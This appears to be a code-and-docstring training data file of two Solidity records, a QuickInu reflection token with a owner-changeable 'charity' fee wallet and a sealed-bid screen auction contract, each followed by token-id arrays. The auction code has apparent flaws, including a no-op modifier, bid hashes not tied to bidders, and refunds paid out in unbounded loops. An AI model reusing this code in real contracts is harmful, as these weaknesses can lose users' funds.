_owner = newOwner;
}
}
contract QuickInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100 * 10**6 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address payable private _charityWalletAddress;
string private _name = 'QuickInu';
string private _symbol = 'QINU';
uint8 private _decimals = 18;
uint256 public _charityFee = 2;
uint256 private _previousCharityFee = _charityFee;
constructor () {
_rOwned[_msgSender()] = _rTotal;
_charityWalletAddress = payable(0xA2D716DD346b801366dfc0a42B18D86A2478ce13);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity, sender);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity, sender);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity, sender);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity, sender);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tCharity, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256) {
uint256 tFee = (tAmount.mul(8)).div(100);
uint256 tCharity = calculateCharityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity);
return (tTransferAmount, tFee, tCharity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tCharity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rCharity = tCharity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rCharity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeCharity(uint256 tCharity, address sender) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[_charityWalletAddress] = _rOwned[_charityWalletAddress].add(rCharity);
if(_isExcluded[_charityWalletAddress])
_tOwned[_charityWalletAddress] = _tOwned[_charityWalletAddress].add(tCharity);
emit Transfer(sender, _charityWalletAddress, tCharity);
}
function calculateCharityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_charityFee).div(100);
}
function _setCharityWalletAddress(address payable charityWalletAddress) external onlyOwner() {
_charityWalletAddress = charityWalletAddress;
}
} | @dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with GSN meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts./ | abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
return msg.data;
}
}
| 14,638,292 | [
1,
17727,
1779,
2973,
326,
783,
4588,
819,
16,
6508,
326,
5793,
434,
326,
2492,
471,
2097,
501,
18,
21572,
4259,
854,
19190,
2319,
3970,
1234,
18,
15330,
471,
1234,
18,
892,
16,
2898,
1410,
486,
506,
15539,
316,
4123,
279,
2657,
21296,
16,
3241,
1347,
21964,
598,
611,
13653,
2191,
17,
20376,
326,
2236,
5431,
471,
8843,
310,
364,
4588,
2026,
486,
506,
326,
3214,
5793,
261,
345,
10247,
487,
392,
2521,
353,
356,
2750,
11748,
2934,
1220,
6835,
353,
1338,
1931,
364,
12110,
16,
5313,
17,
5625,
20092,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
17801,
6835,
1772,
288,
203,
203,
203,
203,
203,
565,
445,
389,
3576,
12021,
1435,
2713,
1476,
5024,
1135,
261,
2867,
13,
288,
203,
3639,
327,
1234,
18,
15330,
31,
203,
565,
289,
203,
203,
565,
445,
389,
3576,
751,
1435,
2713,
1476,
5024,
1135,
261,
3890,
3778,
13,
288,
203,
3639,
327,
1234,
18,
892,
31,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.0;
/**
* @title Screen Selling Platform
* @notice This contract abstracts the screen selling
* marketplace and provides functions to perform
* transactions
* @author Team Block-Daggers
*
*/
contract Auction {
/**
* This enum defines status of screen (item) present in the
* marketplace
*
*/
enum ITEM_STATUS {
LOCKED, /// Item is being processed, hence is not listed in marketplace
OPEN, /// Item is being sold at marketplace
BUYING, /// Buyer has paid for the item, but hasn't received it yet
BOUGHT /// Buyer received the item
}
enum AUCTION_STATUS {
ONGOING,
VERIFICATION,
REVEALED
}
enum AUCTION_TYPE {
FIRST_PRICE,
SECOND_PRICE,
AVG_PRICE,
FIXED
}
/**
* This struct defines the blueprint of each screen (item)
* present in the marketplace
*
*/
struct Listing {
address payable seller;
ITEM_STATUS status;
string item_name;
string item_desc;
string secret_string;
uint256 asking_price;
uint256 final_price;
mapping(bytes32 => bool) hashedBids;
uint256 biddersCount;
mapping(address => bool) bidders;
mapping(address => bool) isVerified;
Bidder[] verifiedBids;
Bidder bidWinner;
AUCTION_STATUS auctionStatus;
AUCTION_TYPE auctionType;
}
struct Bidder {
address payable buyer;
uint256 price;
string public_key;
}
uint256 private itemsCount;
mapping(uint256 => Listing) private itemsList;
/**
* Initialising smart contract to the scenario when no item
* is present in the marketplace
*
*/
constructor() public {
itemsCount = 0;
}
/**
* Allows only seller of item to access the function
*
* @param index unique id of item
*/
modifier onlyItemSeller(uint256 index) {
require(index <= itemsCount && index > 0, "Item not present in list");
require(
msg.sender == itemsList[index].seller,
"You are not seller of item"
);
_;
}
/**
* Allows only buyer or seller to access the function
*
* @param index unique id of item
*/
modifier onlyItemOwnerOrSeller(uint256 index) {
require(index <= itemsCount && index > 0, "Item not present in list");
require(
msg.sender == itemsList[index].seller ||
(msg.sender == itemsList[index].bidWinner.buyer &&
itemsList[index].status == ITEM_STATUS.BOUGHT),
"You are not owner or seller of item"
);
_;
}
/**
* Checks empty string
*
* @param str string
*/
modifier nonEmpty(string memory str){
require(bytes(str).length > 0, "String should be non empty");
_;
}
/**
* Checks empty array
*
* @param item_id id of the item
*/
modifier nonEmptyBidders(uint256 item_id){
require(true, "No bidders found");
_;
}
/**
* Adds an item in the marketplace
* Used by: Seller
*
* @param _item_name name of item
* @param _item_desc description of item
* @param _asking_price asking price of item
*/
function addItem(
string memory _item_name,
string memory _item_desc,
uint256 _asking_price,
uint256 _auction_type
)
public
nonEmpty(_item_name)
nonEmpty(_item_desc)
returns (uint256) {
itemsCount++;
itemsList[itemsCount].status = ITEM_STATUS.LOCKED;
itemsList[itemsCount].item_desc = _item_desc;
itemsList[itemsCount].seller = msg.sender;
itemsList[itemsCount].item_name = _item_name;
itemsList[itemsCount].asking_price = _asking_price;
itemsList[itemsCount].status = ITEM_STATUS.OPEN;
itemsList[itemsCount].auctionStatus = AUCTION_STATUS.ONGOING;
if (_auction_type == 0) {
itemsList[itemsCount].auctionType = AUCTION_TYPE.FIRST_PRICE;
} else if (_auction_type == 1) {
itemsList[itemsCount].auctionType = AUCTION_TYPE.SECOND_PRICE;
} else if (_auction_type == 2) {
itemsList[itemsCount].auctionType = AUCTION_TYPE.AVG_PRICE;
} else {
itemsList[itemsCount].auctionStatus = AUCTION_STATUS.VERIFICATION;
itemsList[itemsCount].auctionType = AUCTION_TYPE.FIXED;
}
return itemsCount;
}
function bidItem(uint256 item_id, bytes32 hashString) public {
require(
item_id <= itemsCount && item_id > 0,
"Item not present in list"
);
require(
itemsList[item_id].auctionStatus == AUCTION_STATUS.ONGOING,
"Auction not ongoing"
);
require(
itemsList[item_id].bidders[msg.sender] == false,
"Already bidded"
);
itemsList[item_id].hashedBids[hashString] = true;
itemsList[item_id].biddersCount += 1;
itemsList[item_id].bidders[msg.sender] = true;
}
function closeBid(uint256 item_id) public nonEmptyBidders(item_id) {
require(
msg.sender == itemsList[item_id].seller || msg.sender == address(this),
'Access denied'
);
require(
item_id <= itemsCount && item_id > 0,
"Item not present in list"
);
require(
itemsList[item_id].auctionStatus == AUCTION_STATUS.ONGOING,
"Auction not ongoing"
);
require(
itemsList[item_id].biddersCount != 0,
"No Bidder"
);
if(itemsList[item_id].auctionType == AUCTION_TYPE.SECOND_PRICE) {
require(
itemsList[item_id].biddersCount >= 2,
"Atleast two people should bid for vickery auction"
);
}
itemsList[item_id].auctionStatus = AUCTION_STATUS.VERIFICATION;
}
function verifyBid(
uint256 item_id,
string memory password,
string memory public_key
) public payable {
require(
item_id <= itemsCount && item_id > 0,
"Item not present in list"
);
require(
itemsList[item_id].auctionStatus == AUCTION_STATUS.VERIFICATION,
"Bid verification not in progress"
);
if(itemsList[item_id].auctionType == AUCTION_TYPE.FIXED){
if(msg.value == itemsList[item_id].asking_price){
itemsList[item_id].final_price = msg.value;
itemsList[item_id].bidWinner = Bidder(msg.sender, msg.value, public_key);
itemsList[item_id].status = ITEM_STATUS.BUYING;
itemsList[item_id].auctionStatus = AUCTION_STATUS.REVEALED; // everything is done
}
else{
revert("Invalid Price");
}
}
else{
bytes32 hashValue = keccak256(
abi.encodePacked(password, uintToStr(msg.value))
);
if(itemsList[item_id].hashedBids[hashValue] != true){
revert("Invalid details");
}
itemsList[item_id].verifiedBids.push(
Bidder(msg.sender, msg.value, public_key)
);
itemsList[item_id].isVerified[msg.sender] = true;
}
}
function abs(uint256 a, uint256 b) private pure returns (uint256) {
if (a >= b) {
return a - b;
} else {
return b - a;
}
}
function revealBid(uint256 item_id) public payable onlyItemSeller(item_id){
require(
item_id <= itemsCount && item_id > 0,
"Item not present in list"
);
require(
itemsList[item_id].auctionStatus == AUCTION_STATUS.VERIFICATION,
"Bid verification not in progress"
);
require(
itemsList[item_id].verifiedBids.length > 0,
"No one verified bid"
);
if(itemsList[item_id].auctionType == AUCTION_TYPE.SECOND_PRICE) {
require(
itemsList[item_id].verifiedBids.length >= 2,
"Atleast two people should verify for vickery auction"
);
}
uint256 maxBid = 0;
Bidder memory maxBidder;
uint256 secondMaxBid = 0;
uint256 totalBid = 0;
for (uint256 i = 0; i < itemsList[item_id].verifiedBids.length; i++) {
uint256 currentBidPrice = itemsList[item_id].verifiedBids[i].price;
totalBid += currentBidPrice;
if (currentBidPrice > maxBid) {
secondMaxBid = maxBid;
maxBid = currentBidPrice;
maxBidder = itemsList[item_id].verifiedBids[i];
} else if (currentBidPrice > secondMaxBid) {
secondMaxBid = currentBidPrice;
}
}
if (itemsList[item_id].auctionType == AUCTION_TYPE.FIRST_PRICE) {
itemsList[item_id].bidWinner = maxBidder;
itemsList[item_id].final_price = maxBid;
} else if (
itemsList[item_id].auctionType == AUCTION_TYPE.SECOND_PRICE
) {
itemsList[item_id].bidWinner = maxBidder;
itemsList[item_id].final_price = secondMaxBid;
} else if(itemsList[item_id].auctionType == AUCTION_TYPE.AVG_PRICE) {
uint256 minDiff = uint256(-1);
Bidder memory avgBidder;
uint256 n = itemsList[item_id].verifiedBids.length;
for (uint256 i = 0; i < n; i++) {
uint256 currentBidPrice = itemsList[item_id]
.verifiedBids[i]
.price * n;
if (abs(currentBidPrice, totalBid) < minDiff) {
avgBidder = itemsList[item_id].verifiedBids[i];
minDiff = abs(currentBidPrice, totalBid);
}
itemsList[item_id].bidWinner = avgBidder;
itemsList[item_id].final_price = avgBidder.price;
}
} else{
// normal purchase, do nothing
}
itemsList[item_id].status = ITEM_STATUS.BUYING;
itemsList[item_id].auctionStatus = AUCTION_STATUS.REVEALED;
returnNonWinnerMoney(item_id);
}
/**
* Gets public key of the buyer from the item being bought
* Used by: Seller
*
* @param item_id unique id of item
*/
function getKey(uint256 item_id)
public
view
onlyItemSeller(item_id)
returns (string memory)
{
require(
itemsList[item_id].status == ITEM_STATUS.BUYING,
"KEY NOT AVAILABLE"
);
return itemsList[item_id].bidWinner.public_key;
}
/**
* Assigns encrypted password to the item which can be only decrypted
* by the buyer
* Thus, it simulates delivery of the screen (item) from the seller
* Item is marked as BOUGHT
* Used by: Seller
*
* @param item_id unique id of item
* @param secret_string Encrypted password of the screen (i.e.
* item) along with the public key of the buyer
*/
function giveAccess(uint256 item_id, string memory secret_string)
public
payable
onlyItemSeller(item_id)
{
require(
itemsList[item_id].status == ITEM_STATUS.BUYING,
"Item not purchased yet"
);
itemsList[item_id].secret_string = secret_string;
itemsList[item_id].status = ITEM_STATUS.BOUGHT;
itemsList[item_id].seller.transfer(itemsList[item_id].final_price);
// return pending money of bid winner like in case of auction type 2
returnWinnerPendingMoney(item_id);
}
function returnWinnerPendingMoney(uint256 item_id) private {
uint256 pendingMoney = itemsList[item_id].bidWinner.price -
itemsList[item_id].final_price;
itemsList[item_id].bidWinner.buyer.transfer(pendingMoney);
}
function returnNonWinnerMoney(uint256 item_id) private {
for (uint256 i = 0; i < itemsList[item_id].verifiedBids.length; i++) {
if (
itemsList[item_id].verifiedBids[i].buyer ==
itemsList[item_id].bidWinner.buyer
) {
continue;
}
uint256 returnPrice = itemsList[item_id].verifiedBids[i].price;
itemsList[item_id].verifiedBids[i].buyer.transfer(returnPrice);
}
}
/**
* @dev View pending balance in escrow account
* Used by: Developer
*
*/
function getBalance() public view returns (uint256) {
return address(this).balance;
}
/**
* Returns encrypted password of the delivered item
* Used by: Buyer, (optional) Seller
*
* @param item_id unique id of item
*/
function accessItem(uint256 item_id)
public
view
onlyItemOwnerOrSeller(item_id)
returns (string memory)
{
return itemsList[item_id].secret_string;
}
/**
* Updates the name of the item listed in the marketplace
* Used by: Seller
*
* @param item_id unique id of item
* @param item_name name of item
*/
function changeName(uint256 item_id, string memory item_name)
public
onlyItemSeller(item_id)
{
require(
itemsList[item_id].status == ITEM_STATUS.OPEN,
"Item is already sold"
);
itemsList[item_id].status = ITEM_STATUS.LOCKED;
itemsList[item_id].item_name = item_name;
itemsList[item_id].status = ITEM_STATUS.OPEN;
}
/**
* Updates the price of the item listed in the marketplace
* Used by: seller
*
* @param item_id unique id of item
* @param price item price
*/
function changePrice(uint256 item_id, uint256 price)
public
onlyItemSeller(item_id)
{
require(
itemsList[item_id].status == ITEM_STATUS.OPEN,
"Item is already sold"
);
itemsList[item_id].status = ITEM_STATUS.LOCKED;
itemsList[item_id].asking_price = price;
itemsList[item_id].status = ITEM_STATUS.OPEN;
}
/**
* Converts an unsigned integer to its equivalent string
*
* @param _i number
*/
function uintToStr(uint256 _i)
private
pure
returns (string memory _uintAsString)
{
uint256 number = _i;
if (number == 0) {
return "0";
}
uint256 j = number;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (number != 0) {
bstr[k--] = bytes1(uint8(48 + (number % 10)));
number /= 10;
}
return string(bstr);
}
/**
* Converts address to string
* Source: https://ethereum.stackexchange.com/a/58341
*
* @param account address of account
*/
function toString(address account) private pure returns (string memory) {
return toString(abi.encodePacked(account));
}
function toString(bytes memory data) private pure returns (string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(2 + data.length * 2);
str[0] = "0";
str[1] = "x";
for (uint256 i = 0; i < data.length; i++) {
str[2 + i * 2] = alphabet[uint256(uint8(data[i] >> 4))];
str[3 + i * 2] = alphabet[uint256(uint8(data[i] & 0x0f))];
}
return string(str);
}
function printHelper(uint i, bool firstItem) public view returns (string memory) {
string memory str = "";
uint at = 0;
if(itemsList[i].auctionType == AUCTION_TYPE.SECOND_PRICE){
at=1;
}
else if(itemsList[i].auctionType == AUCTION_TYPE.AVG_PRICE){
at = 2;
}
else if(itemsList[i].auctionType == AUCTION_TYPE.FIXED){
at = 3;
}
uint ast = 0;
if(itemsList[i].auctionStatus == AUCTION_STATUS.VERIFICATION){
ast = 1;
}
else if(itemsList[i].auctionStatus == AUCTION_STATUS.REVEALED)
{
ast = 2;
}
uint ist = 0;
if(itemsList[i].status == ITEM_STATUS.OPEN){
ist = 1;
}
else if(itemsList[i].status == ITEM_STATUS.BUYING){
ist = 2;
}
else if(itemsList[i].status == ITEM_STATUS.BOUGHT){
ist = 3;
}
if(!firstItem){
str = string(abi.encodePacked(str, ','));
}
str = string(abi.encodePacked(str, '{"itemId":'));
str = string(abi.encodePacked(str, uintToStr(i)));
str = string(abi.encodePacked(str, ',"itemName":"'));
str = string(abi.encodePacked(str, itemsList[i].item_name));
str = string(abi.encodePacked(str, '","itemDescription": "'));
str = string(abi.encodePacked(str, itemsList[i].item_desc));
str = string(abi.encodePacked(str, '","itemStatus":'));
str = string(abi.encodePacked(str, uintToStr(ist)));
str = string(abi.encodePacked(str, ',"askingPrice":'));
str = string(abi.encodePacked(str, uintToStr(itemsList[i].asking_price)));
str = string(abi.encodePacked(str, ',"auctionType":'));
str = string(abi.encodePacked(str, uintToStr(at)));
str = string(abi.encodePacked(str, ',"auctionStatus":'));
str = string(abi.encodePacked(str, uintToStr(ast)));
str = string(abi.encodePacked(str, ',"sellerId": "'));
str = string(abi.encodePacked(str,toString(abi.encodePacked(itemsList[i].seller))));
str = string(abi.encodePacked(str, '","alreadyBid": "'));
str = string(abi.encodePacked(str,toString(abi.encodePacked(itemsList[i].bidders[msg.sender]))));
str = string(abi.encodePacked(str, '","bidWinner": "'));
str = string(abi.encodePacked(str,toString(abi.encodePacked(itemsList[i].bidWinner.buyer))));
str = string(abi.encodePacked(str, '","isVerified": "'));
str = string(abi.encodePacked(str,toString(abi.encodePacked(itemsList[i].isVerified[msg.sender]))));
str = string(abi.encodePacked(str, '"}'));
return str;
}
/**
* Returns the items present in the marketplace, which are
* ready to be sold
* Used by: public
*
*/
function viewActiveListings(bool allItems) public view returns (string memory) {
string memory str = "[";
bool firstItem = true;
for (uint256 i = 1; i <= itemsCount; i++) {
if (allItems || itemsList[i].auctionStatus == AUCTION_STATUS.ONGOING ||
(itemsList[i].auctionStatus == AUCTION_STATUS.VERIFICATION && itemsList[i].auctionType == AUCTION_TYPE.FIXED)) {
str = string(abi.encodePacked(str, printHelper(i, firstItem)));
firstItem = false;
}
}
str = string(abi.encodePacked(str, "]"));
return str;
}
function viewSellerListings(address seller_id) public view returns (string memory) {
string memory str = "[";
bool firstItem = true;
for (uint256 i = 1; i <= itemsCount; i++) {
if (itemsList[i].seller == seller_id) {
str = string(abi.encodePacked(str, printHelper(i, firstItem)));
firstItem = false;
}
}
str = string(abi.encodePacked(str, "]"));
return str;
}
} | * Assigns encrypted password to the item which can be only decrypted by the buyer Thus, it simulates delivery of the screen (item) from the seller Item is marked as BOUGHT Used by: Seller @param item_id unique id of item @param secret_string Encrypted password of the screen (i.e. item) along with the public key of the buyer/ return pending money of bid winner like in case of auction type 2 | function giveAccess(uint256 item_id, string memory secret_string)
public
payable
onlyItemSeller(item_id)
{
require(
itemsList[item_id].status == ITEM_STATUS.BUYING,
"Item not purchased yet"
);
itemsList[item_id].secret_string = secret_string;
itemsList[item_id].status = ITEM_STATUS.BOUGHT;
itemsList[item_id].seller.transfer(itemsList[item_id].final_price);
returnWinnerPendingMoney(item_id);
}
| 12,878,054 | [
1,
24842,
6901,
2201,
358,
326,
761,
1492,
848,
506,
1338,
13794,
635,
326,
27037,
22073,
16,
518,
3142,
17099,
7912,
434,
326,
5518,
261,
1726,
13,
628,
326,
29804,
4342,
353,
9350,
487,
9784,
57,
9947,
10286,
635,
30,
4352,
749,
225,
761,
67,
350,
3089,
612,
434,
761,
225,
4001,
67,
1080,
22811,
2201,
434,
326,
5518,
261,
77,
18,
73,
18,
21821,
761,
13,
7563,
598,
326,
1071,
498,
434,
326,
27037,
19,
327,
4634,
15601,
434,
9949,
5657,
1224,
3007,
316,
648,
434,
279,
4062,
618,
576,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
